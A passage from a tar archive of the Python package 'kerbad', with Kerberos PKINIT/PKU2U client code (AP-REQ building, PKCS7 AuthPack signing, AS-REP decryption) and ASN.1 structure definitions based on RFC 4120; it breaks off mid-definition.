ac.flags = flags ac.channel_binding = b'\x00'*16 chksum = {} chksum['cksumtype'] = 0x8003 chksum['checksum'] = ac.to_bytes() + extensions_data tii = LSAP_TOKEN_INFO_INTEGRITY() tii.Flags = 1 tii.TokenIL = 0x00002000 # Medium integrity tii.MachineID = bytes.fromhex('7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde') restriction_data = {} restriction_data['restriction-type'] = 0 restriction_data['restriction'] = tii.to_bytes() restriction_data = KERB_AD_RESTRICTION_ENTRY(restriction_data) x = KERB_AD_RESTRICTION_ENTRYS([restriction_data]).dump() restrictions = AuthorizationData([{ 'ad-type' : 141, 'ad-data' : x}]).dump() now = datetime.datetime.now(datetime.timezone.utc) authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(asrep['crealm']) authenticator_data['cname'] = asrep['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data['subkey'] = EncryptionKey(subkey_data) authenticator_data['seq-number'] = 682437742 #??? TODO: check this! authenticator_data['authorization-data'] = AuthorizationData([{'ad-type': 1, 'ad-data' : restrictions}]) authenticator_data['cksum'] = Checksum(chksum) #print('Authenticator(authenticator_data).dump()') #print(Authenticator(authenticator_data).dump().hex()) authenticator_data_enc = cipher.encrypt(session_key, 11, Authenticator(authenticator_data).dump(), None) ap_opts = ['mutual-required'] ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ticket'] = Ticket(asrep['ticket']) ap_req['ap-options'] = APOptions(set(ap_opts)) ap_req['authenticator'] = EncryptedData({'etype': session_key.enctype, 'cipher': authenticator_data_enc}) #pprint('AP_REQ \r\n%s' % AP_REQ(ap_req).native) #print(AP_REQ(ap_req).dump().hex()) #input() return AP_REQ(ap_req).dump() def sign_authpack(self, data, wrap_signed = False): if self.__hcert is not None: from kerbad.common.windows.crypt32 import pkcs7_sign return pkcs7_sign(self.__hcert, data) return self.sign_authpack_native(self, data, wrap_signed) def sign_authpack_native(self, data, wrap_signed = False): """ Creating PKCS7 blob which contains the following things: 1. 'data' blob which is an ASN1 encoded "AuthPack" structure 2. the certificate used to sign the data blob 3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1) """ da = {} da['algorithm'] = algos.DigestAlgorithmId('1.3.14.3.2.26') # for sha1 si = {} si['version'] = 'v1' si['sid'] = cms.IssuerAndSerialNumber({ 'issuer': self.certificate.issuer, 'serial_number': self.certificate.serial_number, }) si['digest_algorithm'] = algos.DigestAlgorithm(da) si['signed_attrs'] = [ cms.CMSAttribute({'type': 'content_type', 'values': ['1.3.6.1.5.2.3.1']}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed ) cms.CMSAttribute({'type': 'message_digest', 'values': [hashlib.sha1(data).digest()]}), ### hash of the data, the data itself will not be signed, but this block of data will be. ] si['signature_algorithm'] = algos.SignedDigestAlgorithm({'algorithm' : '1.2.840.113549.1.1.1'}) si['signature'] = self.privkey.sign(cms.CMSAttributes(si['signed_attrs']).dump(), padding.PKCS1v15() , hashes.SHA1()) ec = {} ec['content_type'] = '1.3.6.1.5.2.3.1' ec['content'] = data sd = {} sd['version'] = 'v3' sd['digest_algorithms'] = [algos.DigestAlgorithm(da)] # must have only one sd['encap_content_info'] = cms.EncapsulatedContentInfo(ec) sd['certificates'] = [self.certificate] sd['signer_infos'] = cms.SignerInfos([cms.SignerInfo(si)]) if wrap_signed is True: ci = {} ci['content_type'] = '1.2.840.113549.1.7.2' # signed data OID ci['content'] = cms.SignedData(sd) return cms.ContentInfo(ci).dump() return cms.SignedData(sd).dump() def decrypt_asrep(self, as_rep): def truncate_key(value, keysize): output = b'' currentNum = 0 while len(output) < keysize: currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest() if len(output) + len(currentDigest) > keysize: output += currentDigest[:keysize - len(output)] break output += currentDigest currentNum += 1 return output for pa in as_rep['padata']: if pa['padata-type'] == 17: pkasrep = PA_PK_AS_REP.load(pa['padata-value']).native break else: raise Exception('PA_PK_AS_REP not found!') sd = cms.SignedData.load(pkasrep['dhSignedData']).native keyinfo = sd['encap_content_info'] if keyinfo['content_type'] != '1.3.6.1.5.2.3.2': raise Exception('Keyinfo content type unexpected value') authdata = KDCDHKeyInfo.load(keyinfo['content']).native pubkey = int(''.join(['1'] + [str(x) for x in authdata['subjectPublicKey']]), 2) pubkey = int.from_bytes(core.BitString(authdata['subjectPublicKey']).dump()[7:], 'big', signed = False) shared_key = self.diffie.exchange(pubkey) server_nonce = pkasrep['serverDHNonce'] fullKey = shared_key + self.diffie.dh_nonce + server_nonce etype = as_rep['enc-part']['etype'] cipher = _enctype_table[etype] if etype == Enctype.AES256: t_key = truncate_key(fullKey, 32) elif etype == Enctype.AES128: t_key = truncate_key(fullKey, 16) elif etype == Enctype.RC4: raise NotImplementedError('RC4 key truncation documentation missing. it is different from AES') #t_key = truncate_key(fullKey, 16) key = Key(cipher.enctype, t_key) enc_data = as_rep['enc-part']['cipher'] dec_data = cipher.decrypt(key, 3, enc_data) encasrep = EncASRepPart.load(dec_data).native cipher = _enctype_table[ int(encasrep['key']['keytype'])] session_key = Key(cipher.enctype, encasrep['key']['keyvalue']) return encasrep, session_key, cipher def get_metadata(self, target = None): if target is not None: if isinstance(target, str): target = [target] else: target = ['127.0.0.1'] ci = {} ci['type'] = '2.5.4.3' ci['value'] = self.issuer a = Dunno1([ci]) ci = Dunno2([a]) info = {} info['pku2u'] = 'WELLKNOWN:PKU2U' info['clientInfo'] = PrincipalName({'name-type': NAME_TYPE.MS_PRINCIPAL.value, 'name-string': target}) md = {} md['Info'] = Info(info) md['1'] = [CertIssuer({'data' : ci.dump()})] return MetaData(md).dump()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847309.0 kerbad-0.5.10/kerbad/protocol/0000777000175000000000000000000015137335015015221 5ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/protocol/__init__.py0000777000175000000000000000000014760576506017340 0ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1765428935.0 kerbad-0.5.10/kerbad/protocol/asn1_structs.py0000777000175000000000000007367215116447307020253 0ustar00silverroot# Sources used: # https://zeroshell.org/kerberos/kerberos-operation/ # https://tools.ietf.org/html/rfc4120 # https://tools.ietf.org/html/rfc6113 (FAST extension) # TODO: # https://tools.ietf.org/html/rfc4556 from asn1crypto import core import enum import os # KerberosV5Spec2 DEFINITIONS EXPLICIT TAGS ::= TAG = 'explicit' # class UNIVERSAL = 0 APPLICATION = 1 CONTEXT = 2 krb5_pvno = 5 #-- current Kerberos protocol version number class PADATA_TYPE(core.Enumerated): _map = { 0 : 'NONE', #(0), 1 : 'TGS-REQ', #(1), # 1 : 'AP-REQ', #(1), 2 : 'ENC-TIMESTAMP', #(2), 3 : 'PW-SALT', #(3), 5 : 'ENC-UNIX-TIME', #(5), 6 : 'SANDIA-SECUREID', #(6), 7 : 'SESAME', #(7), 8 : 'OSF-DCE', #(8), 9 : 'CYBERSAFE-SECUREID', #(9), 10 : 'AFS3-SALT', #(10), 11 : 'ETYPE-INFO', #(11), 12 : 'SAM-CHALLENGE', #(12), -- ', #(sam/otp) 13 : 'SAM-RESPONSE', #(13), -- ', #(sam/otp) 14 : 'PK-AS-REQ-19', #(14), -- ', #(PKINIT-19) 15 : 'PK-AS-REP-19', #(15), -- ', #(PKINIT-19) 15 : 'PK-AS-REQ-WIN', #(15), -- ', #(PKINIT - old number) 16 : 'PK-AS-REQ', #(16), -- ', #(PKINIT-25) 17 : 'PK-AS-REP', #(17), -- ', #(PKINIT-25) 18 : 'PA-PK-OCSP-RESPONSE', #(18), 19 : 'ETYPE-INFO2', #(19), 20 : 'USE-SPECIFIED-KVNO', #(20), 20 : 'SVR-REFERRAL-INFO', #(20), --- old ms referral number 21 : 'SAM-REDIRECT', #(21), -- ', #(sam/otp) 22 : 'GET-FROM-TYPED-DATA', #(22), 23 : 'SAM-ETYPE-INFO', #(23), 25 : 'SERVER-REFERRAL', #(25), 24 : 'ALT-PRINC', #(24), -- ', #(crawdad@fnal.gov) 30 : 'SAM-CHALLENGE2', #(30), -- ', #(kenh@pobox.com) 31 : 'SAM-RESPONSE2', #(31), -- ', #(kenh@pobox.com) 41 : 'PA-EXTRA-TGT', #(41), -- Reserved extra TGT 102 : 'TD-KRB-PRINCIPAL', #(102), -- PrincipalName 104 : 'PK-TD-TRUSTED-CERTIFIERS', #(104), -- PKINIT 105 : 'PK-TD-CERTIFICATE-INDEX', #(105), -- PKINIT 106 : 'TD-APP-DEFINED-ERROR', #(106), -- application specific 107 : 'TD-REQ-NONCE', #(107), -- INTEGER 108 : 'TD-REQ-SEQ', #(108), -- INTEGER 128 : 'PA-PAC-REQUEST', #(128), -- jbrezak@exchange.microsoft.com 129 : 'PA-FOR-USER', #(129), -- MS-KILE 130 : 'FOR-X509-USER', #(130), -- MS-KILE 131 : 'FOR-CHECK-DUPS', #(131), -- MS-KILE 132 : 'AS-CHECKSUM', #(132), -- MS-KILE 132 : 'PK-AS-09-BINDING', #(132), -- client send this to -- tell KDC that is supports -- the asCheckSum in the -- PK-AS-REP 133 : 'CLIENT-CANONICALIZED', #(133), -- referals 133 : 'FX-COOKIE', #(133), -- krb-wg-preauth-framework 134 : 'AUTHENTICATION-SET', #(134), -- krb-wg-preauth-framework 135 : 'AUTH-SET-SELECTED', #(135), -- krb-wg-preauth-framework 136 : 'FX-FAST', #(136), -- krb-wg-preauth-framework 137 : 'FX-ERROR', #(137), -- krb-wg-preauth-framework 138 : 'ENCRYPTED-CHALLENGE', #(138), -- krb-wg-preauth-framework 141 : 'OTP-CHALLENGE', #(141), -- ', #(gareth.richards@rsa.com) 142 : 'OTP-REQUEST', #(142), -- ', #(gareth.richards@rsa.com) 143 : 'OTP-CONFIRM', #(143), -- ', #(gareth.richards@rsa.com) 144 : 'OTP-PIN-CHANGE', #(144), -- ', #(gareth.richards@rsa.com) 145 : 'EPAK-AS-REQ', #(145), 146 : 'EPAK-AS-REP', #(146), 147 : 'PKINIT-KX', #(147), -- krb-wg-anon 148 : 'PKU2U-NAME', #(148), -- zhu-pku2u 149 : 'REQ-ENC-PA-REP', #(149), -- 151 : 'SPAKE', #(151), https://datatracker.ietf.org/doc/draft-ietf-kitten-krb-spake-preauth/?include_text=1 165 : 'SUPPORTED-ETYPES', #(165) -- MS-KILE 167 : 'PA-PAC-OPTIONS', } class AUTHDATA_TYPE(core.Enumerated): _map = { 1 : 'IF-RELEVANT', #1), 2 : 'INTENDED-FOR-SERVER', #2), 3 : 'INTENDED-FOR-APPLICATION-CLASS', #3), 4 : 'KDC-ISSUED', #4), 5 : 'AND-OR', #5), 6 : 'MANDATORY-TICKET-EXTENSIONS', #6), 7 : 'IN-TICKET-EXTENSIONS', #7), 8 : 'MANDATORY-FOR-KDC', #8), 9 : 'INITIAL-VERIFIED-CAS', #9), 64 : 'OSF-DCE', #64), 65 : 'SESAME', #65), 66 : 'OSF-DCE-PKI-CERTID', #66), 70 : 'AD-authentication-strength', 71 : 'AD-fx-fast-armor', 72 : 'AD-fx-fast-used', 128 : 'WIN2K-PAC', #128), 129 : 'GSS-API-ETYPE-NEGOTIATION', #129), -- Authenticator only -17 : 'SIGNTICKET-OLDER', #-17), 142 : 'SIGNTICKET-OLD', #142), 512 : 'SIGNTICKET', #512) } class CKSUMTYPE(core.Enumerated): _map = { 0 : 'NONE', #0), 1 : 'CRC32', #1), 2 : 'RSA_MD4', #2), 3 : 'RSA_MD4_DES', #3), 4 : 'DES_MAC', #4), 5 : 'DES_MAC_K', #5), 6 : 'RSA_MD4_DES_K', #6), 7 : 'RSA_MD5', #7), 8 : 'RSA_MD5_DES', #8), 9 : 'RSA_MD5_DES3', #9), 10 : 'SHA1_OTHER', #10), 12 : 'HMAC_SHA1_DES3', #12), 14 : 'SHA1', #14), 15 : 'HMAC_SHA1_96_AES_128', #15), 16 : 'HMAC_SHA1_96_AES_256', #16), 0x8003 : 'GSSAPI', #0x8003), -138 : 'HMAC_MD5', #-138), -- unofficial microsoft number -1138 : 'HMAC_MD5_ENC', #-1138) -- even more unofficial } #enctypes class ENCTYPE(core.Enumerated): _map = { 0 : 'NULL', #0), 1 : 'DES_CBC_CRC', #1), 2 : 'DES_CBC_MD4', #2), 3 : 'DES_CBC_MD5', #3), 5 : 'DES3_CBC_MD5', #5), 7 : 'OLD_DES3_CBC_SHA1', #7), 8 : 'SIGN_DSA_GENERATE', #8), 9 : 'ENCRYPT_RSA_PRIV', #9), 10 : 'ENCRYPT_RSA_PUB', #10), 16 : 'DES3_CBC_SHA1', #16), -- with key derivation 17 : 'AES128_CTS_HMAC_SHA1_96', #17), 18 : 'AES256_CTS_HMAC_SHA1_96', #18), 23 : 'ARCFOUR_HMAC_MD5', #23), 24 : 'ARCFOUR_HMAC_MD5_56', #24), 48 : 'ENCTYPE_PK_CROSS', #48), #-- some "old" windows types -128 : 'ARCFOUR_MD4', #-128), -133 : 'ARCFOUR_HMAC_OLD', #-133), -135 : 'ARCFOUR_HMAC_OLD_EXP', #-135), #-- these are for Heimdal internal use -0x1000 : 'DES_CBC_NONE', #-0x1000), -0x1001 : 'DES3_CBC_NONE', #-0x1001), -0x1002 : 'DES_CFB64_NONE', #-0x1002), -0x1003 : 'DES_PCBC_NONE', #-0x1003), -0x1004 : 'DIGEST_MD5_NONE', #-0x1004), -- private use, lukeh@padl.com -0x1005 : 'CRAM_MD5_NONE', #-0x1005) -- private use, lukeh@padl.com } class SequenceOfEnctype(core.SequenceOf): _child_spec = core.Integer class Microseconds(core.Integer): """ ::= INTEGER (0..999999) -- microseconds """ class krb5int32 (core.Integer): """krb5int32 ::= INTEGER (-2147483648..2147483647) """ class krb5uint32 (core.Integer): """krb5uint32 ::= INTEGER (0..4294967295) """ class KerberosString(core.GeneralString): """KerberosString ::= GeneralString (IA5String) For compatibility, implementations MAY choose to accept GeneralString values that contain characters other than those permitted by IA5String... """ _encoding = 'utf-8' class SequenceOfKerberosString(core.SequenceOf): _child_spec = KerberosString # https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py class Realm(KerberosString): """Realm ::= KerberosString """ # https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py class PrincipalName(core.Sequence): """PrincipalName for KDC-REQ-BODY and Ticket PrincipalName ::= SEQUENCE { name-type [0] Int32, name-string [1] SEQUENCE OF KerberosString } """ _fields = [ ('name-type', krb5int32, {'tag_type': TAG, 'tag': 0}), ('name-string', SequenceOfKerberosString, {'tag_type': TAG, 'tag': 1}), ] class Principal(core.Sequence): _fields = [ ('name', PrincipalName, {'tag_type': TAG, 'tag': 0}), ('realm', Realm, {'tag_type': TAG, 'tag': 1}), ] class Principals(core.SequenceOf): _child_spec = Principal class HostAddress(core.Sequence): """HostAddress for HostAddresses HostAddress ::= SEQUENCE { addr-type [0] Int32, address [1] OCTET STRING } """ _fields = [ ('addr-type', krb5int32, {'tag_type': TAG, 'tag': 0}), ('address', core.OctetString, {'tag_type': TAG, 'tag': 1}), ] class HostAddresses(core.SequenceOf): """SEQUENCE OF HostAddress """ _child_spec = HostAddress class KerberosTime(core.GeneralizedTime): """KerberosTime ::= GeneralizedTime """ class AuthorizationDataElement(core.Sequence): _fields = [ ('ad-type', krb5int32, {'tag_type': TAG, 'tag': 0}), ('ad-data', core.OctetString, {'tag_type': TAG, 'tag': 1}), ] class AuthorizationData(core.SequenceOf): """SEQUENCE OF HostAddress """ _child_spec = AuthorizationDataElement class APOptions(core.BitString): _map = { 0 : 'reserved', #(0), 1 : 'use-session-key', #(1), 2 : 'mutual-required', #(2) } class TicketFlags(core.BitString): _map = { 0: 'reserved', 1: 'forwardable', 2: 'forwarded', 3: 'proxiable', 4: 'proxy', 5: 'may-postdate', 6: 'postdated', 7: 'invalid', 8: 'renewable', 9: 'initial', 10: 'pre-authent', 11: 'hw-authent', 12: 'transited-policy-checked', 13: 'ok-as-delegate', 14: 'anonymous', 15: 'enc-pa-rep' } class KDCOptions(core.BitString): _map = { 0: 'reserved', 1: 'forwardable', 2: 'forwarded', 3: 'proxiable', 4: 'proxy', 5: 'allow-postdate', 6: 'postdated', 7: 'unused7', 8: 'renewable', 9: 'unused9', 10: 'unused10', 11: 'opt-hardware-auth', 12: 'unused12', 13: 'unused13', 14: 'constrained-delegation', #-- cname-in-addl-tkt (14) 15: 'canonicalize', 16: 'request-anonymous', 17: 'unused17', 18: 'unused18', 19: 'unused19', 20: 'unused20', 21: 'unused21', 22: 'unused22', 23: 'unused23', 24: 'unused24', 25: 'unused25', 26: 'disable-transited-check', 27: 'renewable-ok', 28: 'enc-tkt-in-skey', 30: 'renew', 31: 'validate', } class LR_TYPE(core.Enumerated): _map = { 0 : 'NONE', #0), -- no information 1 : 'INITIAL_TGT', #1), -- last initial TGT request 2 : 'INITIAL', #2), -- last initial request 3 : 'ISSUE_USE_TGT', #3), -- time of newest TGT used 4 : 'RENEWAL', #4), -- time of last renewal 5 : 'REQUEST', #5), -- time of last request ', #of any type) 6 : 'PW_EXPTIME', #6), -- expiration time of password 7 : 'ACCT_EXPTIME', #7) -- expiration time of account } class LastReqInner(core.Sequence): _fields = [ ('lr-type', krb5int32, {'tag_type': TAG, 'tag': 0}), #LR_TYPE ('lr-value', KerberosTime, {'tag_type': TAG, 'tag': 1}), ] class LastReq(core.SequenceOf): _child_spec = LastReqInner class EncryptedData(core.Sequence): _fields = [ ('etype', krb5int32, {'tag_type': TAG, 'tag': 0}), #-- EncryptionType ('kvno', krb5uint32, {'tag_type': TAG, 'tag': 1, 'optional': True}), # ('cipher', core.OctetString, {'tag_type': TAG, 'tag': 2}), #ciphertext ] class EncryptionKey(core.Sequence): _fields = [ ('keytype', krb5uint32, {'tag_type': TAG, 'tag': 0}), #-- EncryptionType ('keyvalue', core.OctetString, {'tag_type': TAG, 'tag': 1}), # ] class EncryptionKeys(core.SequenceOf): _child_spec = EncryptionKey class KERB_KEY_LIST_REP(EncryptionKeys): pass class KERB_KEY_LIST_REQ(core.SequenceOf): _child_spec = krb5uint32 #core.Integer class SequenceOfEncryptionKey(core.SequenceOf): _child_spec = EncryptionKey #-- encoded Transited field class TransitedEncoding(core.Sequence): _fields = [ ('tr-type', krb5uint32, {'tag_type': TAG, 'tag': 0}), #-- must be registered ('contents', core.OctetString, {'tag_type': TAG, 'tag': 1}), # ] # https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py class Ticket(core.Sequence): explicit = (APPLICATION,1) _fields = [ ('tkt-vno', krb5int32, {'tag_type': TAG, 'tag': 0}), ('realm', Realm, {'tag_type': TAG, 'tag': 1}), ('sname', PrincipalName, {'tag_type': TAG, 'tag': 2}), ('enc-part', EncryptedData, {'tag_type': TAG, 'tag': 3}), #EncTicketPart ] class SequenceOfTicket(core.SequenceOf): """SEQUENCE OF Ticket for KDC-REQ-BODY """ _child_spec = Ticket #-- Encrypted part of ticket class EncTicketPart(core.Sequence): explicit = (APPLICATION, 3) _fields = [ ('flags', TicketFlags, {'tag_type': TAG, 'tag': 0}), ('key', EncryptionKey, {'tag_type': TAG, 'tag': 1}), ('crealm', Realm, {'tag_type': TAG, 'tag': 2}), ('cname', PrincipalName, {'tag_type': TAG, 'tag': 3}), ('transited', TransitedEncoding, {'tag_type': TAG, 'tag': 4}), ('authtime', KerberosTime, {'tag_type': TAG, 'tag': 5}), ('starttime', KerberosTime, {'tag_type': TAG, 'tag': 6, 'optional': True}), ('endtime', KerberosTime, {'tag_type': TAG, 'tag': 7}), ('renew-till', KerberosTime, {'tag_type': TAG, 'tag': 8, 'optional': True}), ('caddr', HostAddresses, {'tag_type': TAG, 'tag': 9, 'optional': True}), ('authorization-data', AuthorizationData, {'tag_type': TAG, 'tag': 10, 'optional': True}), ] class Checksum(core.Sequence): _fields = [ ('cksumtype', krb5int32, {'tag_type': TAG, 'tag': 0}), #CKSUMTYPE ('checksum', core.OctetString, {'tag_type': TAG, 'tag': 1}), ] class Authenticator(core.Sequence): explicit = (APPLICATION,2) _fields = [ ('authenticator-vno', krb5int32, {'tag_type': TAG, 'tag': 0}), ('crealm', Realm, {'tag_type': TAG, 'tag': 1}), ('cname', PrincipalName, {'tag_type': TAG, 'tag': 2}), ('cksum', Checksum, {'tag_type': TAG, 'tag': 3, 'optional': True}), ('cusec', krb5int32, {'tag_type': TAG, 'tag': 4}), ('ctime', KerberosTime, {'tag_type': TAG, 'tag': 5}), ('subkey', EncryptionKey, {'tag_type': TAG, 'tag': 6, 'optional': True}), ('seq-number', krb5uint32, {'tag_type': TAG, 'tag': 7, 'optional': True}), ('authorization-data', AuthorizationData, {'tag_type': TAG, 'tag': 8, 'optional': True}), ] class PA_DATA(core.Sequence): #!!!! IT STARTS AT ONE!!!! _fields = [ ('padata-type', core.Integer, {'tag_type': TAG, 'tag': 1}), ('padata-value', core.OctetString, {'tag_type': TAG, 'tag': 2}), ] class ETYPE_INFO_ENTRY(core.Sequence): _fields = [ ('etype', krb5int32, {'tag_type': TAG, 'tag': 0}), ('salt', core.OctetString, {'tag_type': TAG, 'tag': 1, 'optional': True}), ('salttype', krb5int32, {'tag_type': TAG, 'tag': 2, 'optional': True}), ] class ETYPE_INFO(core.SequenceOf): _child_spec = ETYPE_INFO_ENTRY class ETYPE_INFO2_ENTRY(core.Sequence): _fields = [ ('etype', krb5int32, {'tag_type': TAG, 'tag': 0}), ('salt', KerberosString, {'tag_type': TAG, 'tag': 1, 'optional': True}), ('s2kparams', core.OctetString, {'tag_type': TAG, 'tag': 2, 'optional': True}), ] class ETYPE_INFO2(core.SequenceOf): _child_spec = ETYPE_INFO2_ENTRY class METHOD_DATA(core.SequenceOf): _child_spec = PA_DATA class TypedData(core.Sequence): _fields = [ ('data-type', krb5int32, {'tag_type': TAG, 'tag': 0}), ('data-value', core.OctetString, {'tag_type': TAG, 'tag': 1, 'optional': True}), ] """ class TYPED-DATA ::= SEQUENCE SIZE (1..MAX) OF TypedData """ class KDC_REQ_BODY(core.Sequence): _fields = [ ('kdc-options', KDCOptions, {'tag_type': TAG, 'tag': 0}), ('cname', PrincipalName, {'tag_type': TAG, 'tag': 1, 'optional': True}), ('realm', Realm, {'tag_type': TAG, 'tag': 2}), ('sname', PrincipalName , {'tag_type': TAG, 'tag': 3, 'optional': True}), ('from', KerberosTime , {'tag_type': TAG, 'tag': 4, 'optional': True}), ('till', KerberosTime , {'tag_type': TAG, 'tag': 5, 'optional': True}), ('rtime', KerberosTime , {'tag_type': TAG, 'tag': 6, 'optional': True}), ('nonce', krb5int32 , {'tag_type': TAG, 'tag': 7}), ('etype', SequenceOfEnctype , {'tag_type': TAG, 'tag': 8}), # -- EncryptionType,preference order ('addresses', HostAddresses , {'tag_type': TAG, 'tag': 9, 'optional': True}), ('enc-authorization-data', EncryptedData , {'tag_type': TAG, 'tag': 10, 'optional': True}), #-- Encrypted AuthorizationData encoding ('additional-tickets', SequenceOfTicket , {'tag_type': TAG, 'tag': 11, 'optional': True}), ] class KDC_REQ(core.Sequence): _fields = [ ('pvno', krb5int32, {'tag_type': TAG, 'tag': 1}), ('msg-type', krb5int32, {'tag_type': TAG, 'tag': 2}), #MESSAGE_TYPE ('padata', METHOD_DATA , {'tag_type': TAG, 'tag': 3, 'optional': True}), ('req-body', KDC_REQ_BODY , {'tag_type': TAG, 'tag': 4}), ] class AS_REQ(KDC_REQ): explicit = (APPLICATION, 10) class TGS_REQ(KDC_REQ): explicit = (APPLICATION, 12) class FastOptions(core.BitString): _map = { 0: 'reserved', 1: 'hide-client-names', 2: 'critical_2', #forwarded', 3: 'critical_3', #proxiable', 4: 'critical_4', #proxy', 5: 'critical_5', #may-postdate', 6: 'critical_6', #postdated', 7: 'critical_7', #invalid', 8: 'critical_8', #renewable', 9: 'critical_9', #initial', 10: 'critical_10', #pre-authent', 11: 'critical_11', #hw-authent', 12: 'critical_12', #transited-policy-checked', 13: 'critical_13', #ok-as-delegate', 14: 'critical_14', #anonymous', 15: 'critical_15', #enc-pa-rep', 16: 'kdc-follow-referrals' } # error: KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS 93 #5.4.1. FAST Armors class EncryptedChallenge(EncryptedData): pass class AUTHENTICATION_SET_ELEM(core.SequenceOf): _fields = [ ('pa-type', krb5int32, {'tag_type': TAG, 'tag': 0}), ('pa-hint', core.OctetString, {'tag_type': TAG, 'tag': 1 , 'optional': True}), ('pa-value', core.OctetString, {'tag_type': TAG, 'tag': 1, 'optional': True}), ] class AUTHENTICATION_SET(core.SequenceOf): _child_spec = AUTHENTICATION_SET_ELEM class KrbFastArmor(core.Sequence): _fields = [ ('armor-type', krb5int32, {'tag_type': TAG, 'tag': 0}), ('armor-value', core.OctetString, {'tag_type': TAG, 'tag': 1}), ] class KrbFastArmoredReq(core.Sequence): _fields = [ ('armor', KrbFastArmor, {'tag_type': TAG, 'tag': 0, 'optional':True}), ('req-checksum', Checksum, {'tag_type': TAG, 'tag': 1}), ('enc-fast-req', EncryptedData, {'tag_type': TAG, 'tag': 2}), #KrbFastReq #KEY_USAGE_FAST_REQ_CHKSUM 50 #KEY_USAGE_FAST_ENC 51 ] class KrbFastReq(core.Sequence): _fields = [ ('fast-options', FastOptions, {'tag_type': TAG, 'tag': 0}), ('padata', METHOD_DATA, {'tag_type': TAG, 'tag': 1}), ('req-body', KDC_REQ_BODY, {'tag_type': TAG, 'tag': 2}), ] class KrbFastFinished(core.Sequence): _fields = [ ('timestamp', KerberosTime, {'tag_type': TAG, 'tag': 0}), ('usec', Microseconds, {'tag_type': TAG, 'tag': 1}), ('crealm', Realm, {'tag_type': TAG, 'tag': 2}), ('cname', PrincipalName, {'tag_type': TAG, 'tag': 3}), ('ticket-checksum', Checksum, {'tag_type': TAG, 'tag': 4}), #KEY_USAGE_FAST_FINISHED 53 ] class KrbFastArmoredRep(core.Sequence): _fields = [ ('enc-fast-rep', EncryptedData, {'tag_type': TAG, 'tag': 0}), #KrbFastResponse KEY_USAGE_FAST_REP 52 ] class KrbFastResponse(core.Sequence): _fields = [ ('padata', METHOD_DATA, {'tag_type': TAG, 'tag': 0}), ('strengthen-key', EncryptionKey, {'tag_type': TAG, 'tag': 1, 'optional':True}), ('finished', KrbFastFinished, {'tag_type': TAG, 'tag': 2, 'optional':True}), #KrbFastReq #KEY_USAGE_FAST_REQ_CHKSUM 50 #KEY_USAGE_FAST_ENC 51 ('nonce', krb5uint32, {'tag_type': TAG, 'tag': 3}), ] #-- padata-type ::= PA-ENC-TIMESTAMP #-- padata-value ::= EncryptedData - PA-ENC-TS-ENC class PA_PAC_OPTIONSTypes(core.BitString): _map = { 0: 'Claims', 1: 'Branch Aware', 2: 'Forward to Full DC', 3: 'resource-based constrained delegation', } class PA_FX_FAST_REQUEST(core.Choice): _alternatives = [ ('armored-data', KrbFastArmoredReq, {'explicit': (CONTEXT,0) } ), ] class PA_FX_FAST_REPLY(core.Choice): _alternatives = [ ('armored-data', KrbFastArmoredRep, {'explicit': (CONTEXT,0) } ), ] class PA_PAC_OPTIONS(core.Sequence): _fields = [ ('value', PA_PAC_OPTIONSTypes, {'tag_type': TAG, 'tag': 0}), ] class PA_ENC_TS_ENC(core.Sequence): _fields = [ ('patimestamp', KerberosTime, {'tag_type': TAG, 'tag': 0}), #-- client's time ('pausec', krb5int32, {'tag_type': TAG, 'tag': 1, 'optional':True}), ] #-- draft-brezak-win2k-krb-authz-01 class PA_PAC_REQUEST(core.Sequence): _fields = [ ('include-pac', core.Boolean, {'tag_type': TAG, 'tag': 0}), #-- Indicates whether a PAC should be included or not ] #-- PacketCable provisioning server location, PKT-SP-SEC-I09-030728.pdf class PROV_SRV_LOCATION(core.GeneralString): pass class KDC_REP(core.Sequence): _fields = [ ('pvno', core.Integer, {'tag_type': TAG, 'tag': 0}), ('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}), #MESSAGE_TYPE ('padata', METHOD_DATA, {'tag_type': TAG, 'tag': 2, 'optional': True}), ('crealm', Realm , {'tag_type': TAG, 'tag': 3}), ('cname', PrincipalName , {'tag_type': TAG, 'tag': 4}), ('ticket', Ticket , {'tag_type': TAG, 'tag': 5}), ('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 6}), #EncKDCRepPart ] class AS_REP(KDC_REP): #::= [APPLICATION 11] KDC-REP explicit = (APPLICATION, 11) class TGS_REP(KDC_REP): # ::= [APPLICATION 13] KDC-REP explicit = (APPLICATION, 13) class EncKDCRepPart(core.Sequence): _fields = [ ('key', EncryptionKey, {'tag_type': TAG, 'tag': 0}), ('last-req', LastReq, {'tag_type': TAG, 'tag': 1}), ('nonce', krb5int32, {'tag_type': TAG, 'tag': 2}), ('key-expiration', KerberosTime , {'tag_type': TAG, 'tag': 3, 'optional': True}), ('flags', TicketFlags , {'tag_type': TAG, 'tag': 4}), ('authtime', KerberosTime , {'tag_type': TAG, 'tag': 5}), ('starttime', KerberosTime , {'tag_type': TAG, 'tag': 6, 'optional': True}), ('endtime', KerberosTime , {'tag_type': TAG, 'tag': 7}), ('renew-till', KerberosTime , {'tag_type': TAG, 'tag': 8, 'optional': True}), ('srealm', Realm , {'tag_type': TAG, 'tag': 9}), ('sname', PrincipalName , {'tag_type': TAG, 'tag': 10}), ('caddr', HostAddresses , {'tag_type': TAG, 'tag': 11, 'optional': True}), ('encrypted-pa-data', METHOD_DATA , {'tag_type': TAG, 'tag': 12, 'optional': True}), ] class EncASRepPart(EncKDCRepPart): explicit = (APPLICATION, 